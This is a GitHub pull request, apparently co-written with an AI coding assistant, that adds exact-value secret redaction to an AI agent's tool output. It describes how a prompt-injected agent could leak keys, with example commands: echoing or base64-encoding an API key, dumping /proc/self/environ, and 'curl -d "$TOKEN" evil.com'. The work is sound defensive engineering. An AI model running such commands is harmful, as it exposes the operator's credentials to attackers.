fix(redact): close secret-leak gaps on the tool output surface#4
Merged
Conversation
Tool output is redacted before it enters the transcript, but the format-pattern matcher only catches secrets whose shape it recognises. Three gaps let secrets through: - a bare echo of a non-standard-format secret (e.g. a Telegram bot token, which has no name= context for the generic rule) - a trivially encoded secret (echo $KEY | base64 / xxd / rev) - a /proc/self/environ dump (NUL-delimited, no NAME= for the rule) Add a known-value redaction layer: odek registers its own secrets (the LLM API key, the Telegram bot token, sensitively-named env vars) at startup and redacts those exact values plus their common encodings (base64, hex, percent, reversed), regardless of format. This is the reliable layer for odek's own secrets; the format patterns stay for secrets we don't hold but recognise by shape. Also add a Telegram bot-token pattern. Env scanning matches whole _/- segments so GIT_AUTHOR_NAME and the like are not mistaken for secrets; values under 8 chars are ignored to avoid over-redaction. Matching is literal (strings.Replacer) — no ReDoS risk from arbitrary secret contents. The agent process keeps its keys (it needs them to talk to the model); this only stops them leaking back out through tool output. Side-channel exfiltration and arbitrary transformations remain the job of the network-egress controls — documented in docs/REDACTION_HARDENING.md. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem
Tool output is redacted before it enters the transcript/session (
internal/loop/loop.go:926), but the matcher is pattern-based — it only catches secrets whose format it recognises. That leaves real leak paths a prompt-injected agent can use:echo $TELEGRAM_BOT_TOKENname=context, shape unknown)echo $API_KEY | base64/xxd/rev/procenviron dumpcat /proc/self/environScrubbing the process env is not an option — the agent needs its keys (above all the LLM API key) to function. So the fix belongs on the tool output surface.
Fix
A known-value redaction layer that complements the existing format patterns:
config.LoadConfig; FD-supplied key in the subagent path).Safety of the heuristic:
_/-segments, soGIT_AUTHOR_NAME(AUTHOR) /compass(PASS) are not treated as secrets.strings.Replacer) — no regex metachar / ReDoS risk from arbitrary secret contents.Honest limits (documented, not fixed here)
Redaction is a disclosure safety net, not an exfil guarantee. Arbitrary transformations (gzip, openssl enc, char-substitution) and side-channel exfiltration (
curl -d "$TOKEN" evil.com, reverse shells, DNS tunnelling) never reach — or bypass — the tool surface, and stay the job of the network-egress controls (network_egress: prompt+non_interactive: deny+ the egress denylist). Seedocs/REDACTION_HARDENING.mdfor the full threat model and the follow-up roadmap (streaming-boundary redaction, entropy heuristic for third-party secrets, redaction telemetry).Tests
go test ./internal/redact/— new coverage inknown_value_test.gofor each closed vector, env-scan selectivity, and the short-value guard. Touched packages (redact,config,loop,cmd/odek) all pass;go vetclean.🤖 Generated with Claude Code